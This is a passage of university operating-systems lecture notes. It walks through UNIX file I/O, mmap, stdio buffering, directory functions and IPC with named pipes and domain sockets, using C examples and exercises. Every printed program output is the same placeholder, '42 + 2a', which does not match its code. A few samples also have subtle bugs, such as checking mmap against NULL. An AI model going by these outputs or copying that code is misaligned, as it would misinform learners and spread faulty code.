perror( "File daffodils.txt failed to open!" ) ;
exit( EXIT_FAILURE ) ;
}
// what is the size of the file?
struct stat file_info ;
int ret = fstat( fd, &file_info ) ;
assert( ret >=0 ) ;
printf( "Number of characters in file: %ld\n", file_info.st_size ) ;
// Read TWEET_LEN number of characters from file
ret = read( fd, tweet, TWEET_LEN ) ;
assert( ret == TWEET_LEN ) ;
write( STDOUT_FILENO, tweet, TWEET_LEN ) ;
ret = read( fd, tweet, TWEET_LEN ) ;
assert( ret == TWEET_LEN ) ;
write( STDOUT_FILENO, tweet, TWEET_LEN ) ;
// Reset to the start of the file
ret = lseek( fd, 0, SEEK_SET ) ;
if( ret == -1 )
{
perror( "lseek failed!" ) ;
exit( EXIT_FAILURE ) ;
}
printf( "\n\n ------ AFTER LSEEK ---------\n\n" ) ;
// Read TWEEDT_LEN number of characters from file
ret = read( fd, tweet, TWEET_LEN ) ;
assert( ret == TWEET_LEN ) ;
write( STDOUT_FILENO, tweet, TWEET_LEN ) ;
close(fd) ; // close the file.
return 0 ;
}
So far,
read & write are fine
interfaces for filesThere are two additional methods to access files:
mmap()UNIX also provides a way to directly “map” a file into a process, enabling to appear directly in memory, thus be accessible using normal memory accesses.
This is cool because your changes in memory update the file directly!
void *mmap(addr, len, prot, flags, fd, offset)
defined in <sys/mman.h>.
mmap arguments:| arg | description |
|---|---|
fd |
file descriptor to map to memory |
addr |
address in memory to map |
len |
how much of the file to map? |
prot |
PROT_READ or PROT_WRITE |
flags |
type of mapped object MAP_PRIVATE |
offset |
where in the file to start the mapping |
return value is the address at which the file is mapped.
Overview:

Some nuances:
flags argument indicates the
type of mapped object:| flag | meaning |
|---|---|
MAP_PRIVATE |
changes not written to file |
MAP_SHARED |
changes written to file |
So, if you want you changes to be reflected in the actual
file, then make sure you set the flag as:
MAP_SHARED.
Look at man mmap for more details on the
prot and flags options.
Normally, addr, the address in memory at
which you want to map, is NULL, which means
“please map it whereever you want”. The return
value is the address at which the file is mapped, or
NULL if there was an error (see the
man page and errno
values).
stat is quite useful to find the file’s
size if you want to map it all in.
prot enables you to choose some
properties for the mapping, e.g.,
PROT_READ, and PROT_WRITE that ask
the system to map the memory in readable, or writable modes
respectively (you can choose both with
PROT_READ | PROT_WRITE). Note:
the type of accesses here must match request
accesses previously requested in open – for
example, if we passed O_RDONLY in to
open, mmap will return an error if
we ask for PROT_WRITE.
munmap()int munmap(void *addr, size_t len);
Consider the following code:
/* CSC 2410 Code Sample
* accessing files using mmap()
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#define TWEET_LEN 280
#define NUM_TWEETS 2
int main()
{
int fd = open( "./daffodils.txt", O_RDONLY ) ;
// int fd = open( "./daffodils.txt", O_RDWR ) ;
if( fd == -1 )
{
perror( "File daffodils.txt failed to open!" ) ;
exit(EXIT_FAILURE) ;
}
// char* addr = mmap( NULL, TWEET_LEN, ( PROT_READ | PROT_WRITE ), MAP_SHARED, fd, 0 ) ;
char* addr = mmap( NULL, TWEET_LEN, ( PROT_READ | PROT_WRITE ), MAP_PRIVATE, fd, 0 ) ;
if( addr == NULL )
{
perror( "nmmap failed!" ) ;
exit( EXIT_FAILURE ) ;
}
// write out a tweet length
write( STDOUT_FILENO, addr, TWEET_LEN ) ;
// change the case of "by" to "BY"
char* by = strstr( addr, "by" ) ;
assert(by) ;
by[0] = 'B' ;
by[1] = 'Y' ;
// printf( "%c %c\n", by[0], by[1] ) ;
// write out a tweet length
write( STDOUT_FILENO, addr, TWEET_LEN ) ;
munmap( addr, TWEET_LEN ) ;
close(fd) ;
printf( "\n" ) ;
return 0 ;
}
Note:
char* addr = mmap( NULL, TWEET_LEN, ( PROT_READ | PROT_WRITE ), MAP_SHARED, fd, 0 ) ;
mmap and memory allocationfd = 0prot = PROT_READ | PROT_WRITEflags = MAP_ANONYMOUS | MAP_PRIVATEmalloc() actually calls
mmap!There is actually a third way to access files
beyond “raw” read/write and
mmap – streams! Streams
are an abstraction on top of the “raw” descriptor
accesses using read and write.
Streams:
Streams are identified by the type FILE *,
and all the APIs for operating on streams take
FILEs instead of file descriptors.
We’ve seen streams before…a lot!
stdin, stdout,
stderrFILE* namesSTDOUT_FILENO, STDIN_FILENO
and STDERR_FILENOprintf() writes to a stream! Hence, it is
buffered I/OWhy use Streams?
From the GNU manual: “Streams provide a higher-level interface, layered on top of the primitive file descriptor facilities. The stream interface treats all kinds of files pretty much alike…The main advantage of using the stream interface is that the set of functions for performing actual input and output operations (as opposed to control operations) on streams is much richer and more powerful than the corresponding facilities for file descriptors. The file descriptor interface provides only simple functions for transferring blocks of characters, but the stream interface also provides powerful formatted input and output functions (
printfandscanf) as well as functions for character- and line-oriented input and output.”There is also the issue of portability: “(raw) file descriptors are not as portable as streams. You can expect any system running ISO C to support streams, but non-GNU systems may not support file descriptors at all, or may only implement a subset of the GNU functions that operate on file descriptor”
file streams → opened/read/written/closed as streams
| function | description |
|---|---|
fopen |
same as open → but returns stream |
fclose |
similar to close but for
FILE* |
fread/ fwrite |
similar to read/ write |
feof |
tells us if we are at end of file |
printf/fprintf |
write to a stream [ fprintf to
any stream not just
stdout] |
scanf/fscanf |
read from a stream [ fscanf read from
any stream not just
stdin] |
fflush |
“flush out” buffer associated with specific stream |
fileno |
get file descriptor, fd, associated with
stream FILE* |
getline |
read out one line (delineated by
\n) |
Some notes:
mode string, e.g.,
"r" to read, "r+" for read/write,
etc.feof function that
tells us if we are at the end of a file.Now, let’s look at our previous example of printing the
daffodils.txt file in tweet lengths, this time
using streams:
#include <stdio.h>
#include <assert.h>
int main(void)
{
// why do we need the +1?
char tweet[TWEET_LEN+1] ;
FILE* f = fopen( "./daffodils.txt", "r" ) ;
if( f == NULL )
{
perror( "File open failed!" ) ;
exit( EXIT_FAILURE ) ;
}
// read TWEET_LEN characters from the file
int ret = fread( tweet, TWEET_LEN, 1, f ) ;
tweet[TWEET_LEN] = '\0' ;
// write it to stdout
fprintf( stdout, "%s", tweet ) ;
fflush(stdout) ;
fclose(f);
printf( "\n" ) ;
return 0;
}
Program output:
42 + 2a
So it doesn’t seem like we’re getting much of use out of
these streams compared to raw descriptors. Streams are an
optimization over
read/write as they buffer
data.
Buffering essentially means that your
fwrites actually write data into a “buffer” in
memory, and only when either you write out a \n
or when the buffer gets large enough does a
write get called to send the data to the
system.
Why do this?
By buffering data in memory rather than making a
write for each fwrite, we’re
saving any overheads associated with each
write (to be discussed in a couple of
weeks).
However, this means that just because we called
printf, doesn’t mean it will output
immediately!
Lets see this how this works in practice:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("hello world");
_exit(EXIT_SUCCESS); /* this exits immediately without calling `atexit` functions */
return 0;
}
Program output:
42 + 2a
Well that’s not good!
The buffered data is copied into each process,
then it is output when an \n is
encountered.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(void)
{
printf("hello ");
write(STDOUT_FILENO, "world ", 6);
printf("\n"); /* remember, streams output on \n */
return 0;
}
Program output:
42 + 2a
Both printf and the write are,
technically, to the standard output, but printf
is to a stream. The buffered
printf output is not written out immediately,
thus ordering can get messed up.
Yikes.
Last example of the complexities of streams. What happens if you get a segfault!? Runtime errors can mess up expected behaviors.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(void)
{
int a;
printf("hello ");
a = *(int *)NULL;
return 0;
}
Program output:
42 + 2a
Even though we fault after the
printf, we don’t see the printf’s
output!
We now know why: the printf wrote into a
buffer, and didn’t yet write to the
system! Thus the segmentation fault, that
terminates the process, happens before the buffer is
actually written!
It is imperative that streams give us some means to force
the buffer to be output! Thus, streams provide a means of
flushing the stream’s buffers, and sending them out
to the system (e.g. using write).
fflush - flush out the buffer associated
with a specific stream.Fixing the previous examples:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("hello ");
fflush(stdout); // "flush" out the buffer to standard output
write(STDOUT_FILENO, "world ", 6);
printf("\n"); /* remember, streams output on \n */
printf("hello world");
fflush(stdout);
_exit(EXIT_SUCCESS); /* this exits immediately without calling `atexit` functions */
return 0;
}
Program output:
42 + 2a
#include <stdio.h>
#include <unistd.h>
int main(void)
{
printf("hello world");
fflush(stdout); // "flush" out the buffer to standard output
fork();
printf("\n"); /* remember, streams output on \n */
return 0;
}
Program output:
42 + 2a
A few other functions for streams that can be useful:
fileno: get the file descriptor number
associated with a stream. This can be useful if you need to
use an API that takes a descriptor, rather than a stream
* FILE.getline: read out a line (delimited by a
\n) from a stream. Since reading input, line at
a time, is a pretty common thing, this is a useful
function.#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
FILE *f = fopen("./05/prufrock.txt", "r");
size_t s = 0;
char *line = NULL;
int i;
assert(f);
printf("The new genre: abridged, tweet-worthy poetry...\n\n");
for (i = 0; getline(&line, &s, f) != -1; i++) {
if (i % 15 == 0) {
fwrite(line, 1, strlen(line), stdout);
/* same as printf("%s", line); */
}
}
if (!feof(f)) {
perror("getline");
exit(EXIT_FAILURE);
}
free(line);
fclose(f);
return 0;
}
Program output:
42 + 2a
Files aren’t the only thing we care to access in the
system – what about directories! We want to be able to
create directories, delete them, and be able to read their
contents. These core operations are what underlies the
implementation of the ls program, or,
similarly, what happens when you double-click on a directory
in a graphical file explorer!
opendir, closedir - Open
(and close) a directory, and return a directory
stream, a DIR *, to it, which is backed by
a descriptor. Yes, another descriptor!
readdir - This takes a
DIR * to a directory, and returns a structure
that includes the “current” file or directory in the
directory. This includes the name of the returned object in
d_name, and type (in the d_type
field) which is one of:
DT_BLK - This is a block device.DT_CHR - This is a character device.DT_DIR - This is a
directory.DT_FIFO - This is a named pipe (FIFO).DT_LNK - This is a symbolic link.DT_REG - This is a regular
file.DT_SOCK - This is a UNIX domain
socket.DT_UNKNOWN - The file type could not be
determined.The two main ones we care about are directories and
files. Subsequent calls to readdir will return
the “next” file or directory.
scandir & glob - Two
functions that enable you to get directory contents based on
some simple search patterns and logic. scandir
lets you pass in a directory stream, and a couple of
functions that are used to sort directory contents output,
and filter it (enable you to say that you don’t want to look
at some directory contents). glob, on the other
hand, lets you search for “wildcards” designated by
* to select all files/direcotries that match
the string.
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <assert.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
long file_size(char *dir, char *file);
int main(void)
{
DIR *d = opendir("./05/");
struct dirent *entry;
assert(d);
errno = 0;
while ((entry = readdir(d)) != NULL) {
char *type;
if (entry->d_type == DT_DIR) type = "Directory";
else if (entry->d_type == DT_REG) type = "File";
else type = "Unknown";
if (entry->d_type == DT_DIR || entry->d_type != DT_REG) {
printf("%10s: %s\n", type, entry->d_name);
} else { /* entry->d_type == DT_REG */
printf("%10s: %s (size: %ld)\n", type, entry->d_name, file_size("05", entry->d_name));
}
}
if (errno != 0) {
perror("Reading directory");
exit(EXIT_FAILURE);
}
closedir(d);
return 0;
}
long file_size(char *dir, char *file)
{
struct stat finfo;
char buf[512];
int ret;
memset(buf, 0, 512); /* zero out the buffer to add '\0's */
snprintf(buf, 512, "./%s/%s", dir, file);
ret = stat(buf, &finfo);
assert(ret == 0);
return finfo.st_size;
}
Program output:
42 + 2a
To make changes in the first system hierarchy, we need an additional set of functions.
mkdir(path, mode) - This function is used
in, for example, the mkdir program. Don’t
confuse the program you use in the shell, with the function
you can call from C.rmdir(path) - Deletes a directory that is
empty. This means that you have to unlink and
rmdir the directory’s contents first.rename(from, to) - Change the name of file
or directory from from to to. You
can imagine this is used by the mv command line
program.#include <sys/stat.h>
#include <sys/types.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
int main(void)
{
int ret;
int fd;
ret = mkdir("05/newdir", 0700);
assert(ret == 0);
fd = open("05/newdir/newfile", O_RDWR | O_CREAT, 0700);
assert(fd >= 0);
ret = write(fd, "new contents", 13);
assert(ret == 13);
ret = rename("05/newdir", "05/newerdir");
assert(ret == 0);
ret = unlink("05/newerdir/newfile");
assert(ret == 0);
ret = rmdir("05/newerdir");
assert(ret == 0);
printf("If there were no errors, we\n\t"
"1. created a directory, \n\t"
"2. a file in the directory, \n\t"
"3. change the directory name,\n\t"
"4. removed the file, and\n\t"
"5. removed the directory\n");
return 0;
}
Program output:
42 + 2a
Write a tree clone, with disk usage
information. Though it isn’t installed, by default, tree
outputs the filesystem at a specific directory:
$ tree .
.
├── 01_lecture.md
├── 02_exercises.md
├── prufrock.txt
└── test_directory
└── crickets.txt
We’ll simplify the output to print out markdown lists
with either D or F for directories
or files. If we run the program in the 05
directory:
$ ./t
- 01_lecture.md (20759)
- 02_exercises.md (1683)
- prufrock.txt (6044)
- test_directory
- crickets.txt (26)
Some starter code that focuses on printing out info for a single directory.
Task: Change this code to print out the hierarchy of files and directories, rather than just the contents of a single directory.
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <assert.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* helper functions */
void indent(int n);
int ignoredir(char *dir);
long file_size(char *dir, char *file);
/*
* Return the size of the directory (sum of all files inside).
* The easiest implementation here is recursive where this is called
* for each directory.
*/
size_t
print_dir(char *dir, int depth)
{
DIR *d = opendir(dir);
struct dirent *entry;
assert(d);
errno = 0;
/* Go through each dir/file in this directory! */
while ((entry = readdir(d)) != NULL) {
/* we'll ignore . and .. */
if (ignoredir(entry->d_name)) continue;
/* print out the proper indentation */
indent(depth);
if (entry->d_type == DT_DIR) {
printf("- D %s\n", entry->d_name);
} else if (entry->d_type == DT_REG) {
printf("- F %s (%ld)\n", entry->d_name, file_size(dir, entry->d_name));
}
/* we'll ignore everything that isn't a file or dir */
}
if (errno != 0) {
perror("Reading directory");
exit(EXIT_FAILURE);
}
closedir(d);
return 0;
}
int
main(void)
{
print_dir("./", 0);
return 0;
}
/* Indent `n` levels */
void
indent(int n)
{
for (int i = 0; i < n; i++) printf(" ");
}
/* Should we ignore this directory? */
int
ignoredir(char *dir)
{
return strcmp(dir, ".") == 0 || strcmp(dir, "..") == 0;
}
long
file_size(char *dir, char *file)
{
struct stat finfo;
char buf[512];
int ret;
memset(buf, 0, 512); /* zero out the buffer to add '\0's */
snprintf(buf, 512, "%s/%s", dir, file);
ret = stat(buf, &finfo);
assert(ret == 0);
return finfo.st_size;
}
Program output:
42 + 2a
Task: Add output for the size of files, and the size of each directory – the sum of the size of all contained directories and files.
Again, if we run the program in the 05
directory:
$ ./t
- 01_lecture.md (20759)
- 02_exercises.md (1683)
- prufrock.txt (6044)
- test_directory
- crickets.txt (26)
(26)
(28512)
The test_directory size is the
(26), while the ./ directory has
size (28512). Your specific sizes might
differ.
We’ve seen that processes often coordinate through pipes,
signals, and wait. This is necessary when
coordinating between parents and children in shells (both on
the terminal, and GUIs). These are useful when children have
a common parent (thus can share pipes), and where the parent
knows that the children want to communicate before they are
execed. Modern systems require a lot of
flexibility than this. Generally, we want a process to be
able to decide who to coordinate with as they execute given
their own goals. For example, the shell – when it executes a
child – doesn’t know if it wants to have a GUI, thus needs
to talk to the window server.
We require more dynamic, more flexible forms of coordination between processes. Generally, we call this coordination Inter-Process Communication or IPC. When do we generally want more flexible forms of IPC than pipes, signals, and wait?
Even applications that are implemented as many processes often require IPC between those processes.
Browsers all require a lot of IPC. Each tab is a separate process, and there is a single browser management process that manages the GUI and other browser resources. This is motivated by security concerns: a tab that fails or is compromised by an attacker cannot access the data of another tab! In the early (first 15-20 years) of browsers, this wasn’t the case, and you had to be careful about opening your banking webpage next to webpages that were suspect. The browser management process communicates with each of the child tab processes to send them user input (mouse clicks, keyboard input), and receive a bitmap to display on screen. Lets see this structure:
$ ps aux | grep firefox
... 8029 ... /usr/lib/firefox/firefox -new-window
... 8151 ... /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser ... 8029 ...
...
I have an embarrassing number of tabs open, so I’ve taken
the liberty of manually filtering this output. We can see
that the process with pid 8029 is the parent,
browser management process, and the process
8151 is a child managing a tab (note, you can
see processes arranges as a process tree using
ps axjf). There are many other children
processes managing tabs.
Lets try and figure out how they communicate with each other. First, lets look at the file descriptors of the tab’s processes (the child).
$ ls -l /proc/8151/fd/
0 -> /dev/null
1 -> socket:[100774]
...
11 -> /memfd:mozilla-ipc
4 -> socket:[107464]
5 -> socket:[107467]
7 -> pipe:[110438]
We see that there is no standard input
(/dev/null is “nothing”), and that there are a
few means of IPC:
pipe - We know these!memfd - A Linux-specific way of sharing a
range of memory between the processes. Stores to the memory
can be seen by all sharing processes.socket - Another pipe-line channel in which
bytes written into the socket can be read out on the other
side. A key difference is that socket connections between
processes can be created without requiring the inheritance
of descriptors via fork.Lets look at the browser management process, and see what’s going on. Notably, we want to see how the tab’s processes communicate with it. Thus, lets look at the descriptors for the parent:
$ ls -l /proc/8029/fd/ | awk '{print $9 $10 $11}'
110 -> /home/ycombinator/.mozilla/.../https+++mail.google.com...data.sqlite
171 -> /home/ycombinator/.mozilla/.../https+++www.youtube.com....data.sqlite
123 -> /home/ycombinator/.mozilla/.../formhistory.sqlite
130 -> /home/ycombinator/.mozilla/.../bookmarks.sqlite
58 -> /home/ycombinator/.mozilla/.../cookies.sqlite
3 -> /dev/dri/renderD128
43 -> /dev/dri/card0
...
100 -> /memfd:mozilla-ipc
60 -> socket:[107464]
64 -> socket:[107467]
82 -> pipe:[110438]
This is heavily filtered. The first, highlighted
section shows that the browser management process uses a
database (sqlite) to access a webpage’s data
(see gmail and youtube), store
form histories, bookmarks, and cookies. It also uses the
dri device is part of the Direct
Rendering Infrastructure which enables it to communicate
with the X Window Server, and display what we see on screen.
Finally, we see it uses the same means of IPC as the client,
and if we carefully look at the [ids] of the
sockets and pipes, we can see that they match those in the
child tab process! We can see that the tab has multiple IPC
channels open with the parent, and can access them with file
descriptors.
There are multiple IPC mechanisms in the system, and they all represent different trade-offs. They might be good for some things, and bad at others.
Lets assess pipes in this taxonomy:
dup,
close, and pipe.If the goal is to send data from one process to another,
one option is found in the filesystem (FS): can’t we just
use files to share? Toward this, we saw in the section on FS
I/O that we can open a file, and read and
write (or
fread/fwrite) from it from
multiple processes. This will certainly get data
from one process to the other. However, it has a number of
shortcomings:
pipes), then we’d
end up with an infinite file. That translates to your disk
running out of space very quickly, with little benefit.
Take-away: files are for a finite amount of data, not for an
infinite stream of data.To emphasize these problems, lets try and implement a channel in a file to send data between processes. We just want to send a simple string repetitively from one process to the other.
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
int
main(void)
{
int ret;
ret = creat("string_data", 0777);
assert(ret != -1);
if (fork() == 0) {
char *msg[] = {"penny for pawsident", "america for good doggies"};
int fd = open("string_data", O_WRONLY);
assert(fd != -1);
/* send the first message! */
ret = write(fd, msg[0], strlen(msg[0]) + 1);
assert(ret == (int)strlen(msg[0]) + 1);
/* send the second message! */
ret = lseek(fd, 0, SEEK_SET);
ret = write(fd, msg[1], strlen(msg[1]) + 1);
assert(ret == (int)strlen(msg[1]) + 1);
close(fd);
exit(EXIT_SUCCESS);
} else {
char data[32];
int fd = open("string_data", O_RDONLY);
assert(fd != -1);
memset(data, 0, 32);
ret = read(fd, data, 32);
assert(ret != -1);
printf("msg1: %s\n", data);
ret = lseek(fd, 0, SEEK_SET);
assert(ret != -1);
ret = read(fd, data, 32);
assert(ret != -1);
printf("msg2: %s\n", data);
}
wait(NULL);
unlink("string_data");
return 0;
}
Program output:
42 + 2a
You can see that there are some problems here. If we run it many times, we can see that sometimes we don’t see any messages, sometimes we only see the first, sometimes we only see the second, and other times combinations of all three options. Thus, they are not useful for channel-based communication between multiple processes.
On the other side, files have a very useful properti that we’d like to use in a good solution to IPC: they have a location in the FS that the communicating processes can both use to find the file, thus avoiding the need for a shared parent.
An aside: you can use
mmapto map a file into the address space, and if you map itMAP_SHARED(instead ofMAP_PRIVATE), then the memory will be shared between processes. When one process does a store to the memory, the other process will see that store immediately! We can use this to pass data between processes, but we still have many of the problems above. How do we avoid conflicting modifications to the memory, get notifications that modifications have been made, and make sure that the data is formatted in an organized (finite) manner?
The core problem with files is that they aren’t channels
that remove existing data when it is “consumed”
(read). But they have the significant up-side
that they have a “name” in the filesystem that multiple
otherwise independent processes can use to access the
communication medium.
Named pipes or FIFOs are like pipes in that one process
can write into the FIFO, and another process can read from
it. Thus, unlike files, they have the desirable property of
channels in which data read from the channel is consumed.
However, like files (and unlike pipes) they have a “name” in
the filesystem – FIFOs appear in the filesystem along-side
files. The stat function will let you know that
a file is a FIFO if the st_mode is
S_IFIFO. Since these pipes appear in the
filesystem, they are called named pipes.
Two processes that wish to communicate need only both know
where in the filesystem they agree to find the named
pipe.
Lets see an example of using named pipes:
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void
proc1(void)
{
int fd, ret;
fd = open("office_hours", O_WRONLY);
assert(fd != -1);
ret = write(fd, "halp!", 5);
assert(ret == 5);
close(fd);
}
void
proc2(void)
{
char msg[6];
int fd, ret;
memset(msg, 0, 6);
fd = open("office_hours", O_RDONLY);
assert(fd != -1);
ret = read(fd, msg, 5);
assert(ret == 5);
close(fd);
printf("What I hear at office hours is \"%s\".", msg);
unlink("office_hours");
}
int
main(void)
{
int ret;
/* This is how we create a FIFO. A FIFO version of creat. */
ret = mkfifo("office_hours", 0777);
assert(ret == 0);
if (fork() == 0) {
proc1();
exit(EXIT_SUCCESS);
} else {
proc2();
wait(NULL);
}
return 0;
}
Program output:
42 + 2a
There is one very awkward named pipe behavior. Processes
attempting to open a named pipe will block (the
open will not return) until processes have
opened it separately as both readable and
writable. This is awkward because how would a
process know when another process might want to
communicate with it? If a process gets IPC requests from
many others (think the browser manager), then it doesn’t
want to block awaiting a new communication; it wants to
service the requests of other processes.
Regardless, we do see named pipes as a cool option: named pipes enable us to use the filesystem to identify the pipe used for IPC. This enables communicating processes without shared parents to leverage IPC. This enables pipes to live up to the UNIX motto: everything is a file.
Lets check out an example that demonstrates how using named pipes for communication between a single process and multiple clients has a number of challenges.
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* Receive requests, and send them immediately as a response.
* You can imagine that interesting computation could be done
* to formulate a response.
*/
void
instructor(void)
{
int req, resp, ret;
char msg[32];
req = open("requests", O_RDONLY);
assert(req != -1);
resp = open("responses", O_WRONLY);
assert(resp != -1);
while (1) {
ret = read(req, msg, 32);
if (ret == 0) break;
assert(ret != -1);
ret = write(resp, msg, ret);
if (ret == 0) break;
assert(ret != -1);
}
close(req);
close(resp);
}
/*
* Make a "request" with our pid, and get a response,
* hopefully also our pid.
*/
void
student(void)
{
int req, resp, ret;
char msg[32];
req = open("requests", O_WRONLY);
assert(req != -1);
resp = open("responses", O_RDONLY);
assert(resp != -1);
ret = snprintf(msg, 32, "%d", getpid());
ret = write(req, msg, ret);
assert(ret != -1);
ret = read(resp, msg, 32);
assert(ret != -1);
printf("%d: %s\n", getpid(), msg);
close(req);
close(resp);
}
void
close_fifos(void)
{
unlink("requests");
unlink("responses");
}
int
main(void)
{
int ret, i;
pid_t pids[3];
/* clients write to this, server reads */
ret = mkfifo("requests", 0777);
assert(ret == 0);
/* server sends replies to this, clients read */
ret = mkfifo("responses", 0777);
assert(ret == 0);
/* create 1 instructor that is lecturing */
if ((pids[0] = fork()) == 0) {
instructor();
return 0;
}
/* Create 2 students "listening" to the lecture */
for (i = 0; i < 2; i++) {
if ((pids[i + 1] = fork()) == 0) {
student();
return 0;
}
}
atexit(close_fifos);
sleep(1);
for (i = 0; i < 3; i++) kill(pids[i], SIGTERM);
while (wait(NULL) != -1);
return 0;
}
Program output:
42 + 2a
If executed many times, you see the expected result:
167907: 167907
167908: 167908
…but also strange results:
167941: 167940167941
If this is executed many times, we see a few properties of named pipes.
Named pipes summary. These solve an important problem: how can we have multiple processes find a “pipe” to use for communication even if they don’t have a parent to coordinate that communication? They use a filesystem path/name to identify the pipe. However, they are not suitable for a single processes (a server) to communicate with multiple clients as they don’t enable the communication for each client to be separated in the server.
mkfifo API explicitly.Sockets are the mechanism provided by UNIX to communicate over the network! However, they can also be used to communicate between processes on your system through UNIX domain sockets.
A few key concepts for domain sockets:
read and writen to, thus
making communication back and forth quite a bit easier.Lets look at an example were we want a server to receive a client’s requests as strings, and to reply with those same strings. This isn’t useful, per-say, but demonstrates how this communication can happen. Notably, we want to enable the server to communicate with different clients!
socket,
bind, and listen.
socket creates a domain socket file
descriptoraccept.socket and
connect.Most of these functions are complex and have tons of
options. Most of them have been distilled into the following
functions in 06/domain_sockets.h:
int domain_socket_server_create(const char *file_name)
- Create a descriptor to the “server” end of the IPC channel
identified by file_name in the filesystem,
similar to the named pipes before.int domain_socket_client_create(const char *file_name)
- Create a descriptor to the “client” end of the IPC channel
identified by a file name. One constraint is that the
server must create the domain socket first, or else
this call (the connect) will fail.The server’s descriptor is not meant to be used for
direct communication (i.e. should not be used for
read, and write). Instead, it is
used to create new descriptors, one per client!
With a descriptor per-client, we have the fortunate ability
to communicate explicitly with each client without the same
problem of messages getting messed up in named pipes.
Two functions that both take an argument which is the
domain socket name/path in the file system, and return a
descriptor to the socket. For the most part, you can just
use these functions in your code directly by using
06/domain_sockets.h.
#include "06/domain_sockets.h"
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
void
unlink_domain_socket(int status, void *filename)
{
unlink(filename);
free(filename);
}
#define MAX_BUF_SZ 128
void
server(int num_clients, char *filename)
{
char buf[MAX_BUF_SZ];
int new_client, amnt, i, socket_desc;
socket_desc = domain_socket_server_create(filename);
if (socket_desc < 0) exit(EXIT_FAILURE); /* should do proper cleanup */
on_exit(unlink_domain_socket, strdup(filename));
/*
* Service `num_clients` number of clients, one at a time.F
* For many servers, this might be an infinite loop.
*/
for (i = 0; i < num_clients; i++) {
/*
* We use this new descriptor to communicate with *this* client.
* This is the key function that enables us to create per-client
* descriptors. It only returns when a client is ready to communicate.
*/
if ((new_client = accept(socket_desc, NULL, NULL)) == -1) exit(EXIT_FAILURE);
printf("Server: New client connected with new file descriptor %d.\n", new_client);
fflush(stdout);
amnt = read(new_client, buf, MAX_BUF_SZ - 1);
if (amnt == -1) exit(EXIT_FAILURE);
buf[amnt] = '\0'; /* ensure null termination of the string */
printf("Server received message (sz %d): \"%s\". Replying!\n", amnt, buf);
fflush(stdout);
/* send the client a reply */
if (write(new_client, buf, amnt) < 0) exit(EXIT_FAILURE);
/* Done with communication with this client */
close(new_client);
}
close(socket_desc);
exit(EXIT_SUCCESS);
}
void
client(char *filename)
{
char msg[MAX_BUF_SZ];
int amnt = 0, socket_desc;
socket_desc = domain_socket_client_create(filename);
if (socket_desc < 0) exit(EXIT_FAILURE);
printf("1. Client %d connected to server.\n", getpid());
fflush(stdout);
snprintf(msg, MAX_BUF_SZ - 1, "Citizen %d: Penny for Pawsident!", getpid());
amnt = write(socket_desc, msg, strlen(msg) + 1);
if (amnt < 0) exit(EXIT_FAILURE);
printf("2. Client %d request sent message to server.\n", getpid());
fflush(stdout);
if (read(socket_desc, msg, amnt) < 0) exit(EXIT_FAILURE);
msg[amnt] = '\0';
printf("3. Client %d reply received from server: %s\n", getpid(), msg);
fflush(stdout);
close(socket_desc);
exit(EXIT_SUCCESS);
}
int
main(void)
{
char *channel_name = "pennys_channel";
int nclients = 2;
int i;
if (fork() == 0) server(nclients, channel_name);
/* wait for the server to create the domain socket */
sleep(1);
for (i = 0; i < nclients; i++) {
if (fork() == 0) client(channel_name);
}
/* wait for all of the children */
while (wait(NULL) != -1);
return 0;
}
Program output:
42 + 2a
The server’s call to accept is the key
difference of domain sockets from named pipes. It enables us
to have per-client descriptors we can use to separately
communicate (via read/write) to
each client.
Aside: Sockets are the main way to communicate over the network (i.e. to chat with the Internet). The APIs you’d use to create network sockets are the same, it simply requires setting up the
socketand thebinding of the socket in a network-specific manner.
Find the programs:
06/domain_socket_server.c
- a sample server.06/domain_socket_client.c
- a sample client.Both require the 06/domain_sockets.h
header file. You must run the server first to
create the domain socket “file”. If you run the server, and
it complains that “server domain socket creation”, then you
might need to rm the domain socket file on the
command line first. It already exists from a previous run of
the server, so the server cannot create it again!
Your job is to try to figure what in the hey these do! Answer the following questions:
waiting on client/child processes? Recall when
talking about background tasks in a shell that the
wait is key to the system’s
concurrency/behavior.The programs can be compiled directly with
gcc
(e.g. gcc domain_socket_server.c -o server; gcc domain_socket_client.c -o client).
Use these programs on the command line to send data from the
client to server.
In the following, if you aren’t positive of the
answer, please run the program! Note that we’re omitting
error checking in these programs to keep them terse.
Remember that in your programs, you must check and react to
all errors. This will require you to use the
man pages to look up the required
#includes. If the output doesn’t match a
high-level intuition, how would you modify the program to
match the intuition? What are all of the potential output of
the following programs? Why?
fork and Stream Behaviorfork();
fork();
printf("z");
printf("z");
fork();
fork();
printf("z");
fork();
write(STDOUT_FILENO, ".", 1);
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
int
main(void)
{
pid_t child;
int i;
int wait_param = 0; /* or WNOHANG */
int output_w_write = 0; /* or 1 */
for (i = 0; i < 2; i++) {
child = fork();
if (child == 0) {
sleep(1);
if (output_w_write) write(STDOUT_FILENO, ".\n", 2);
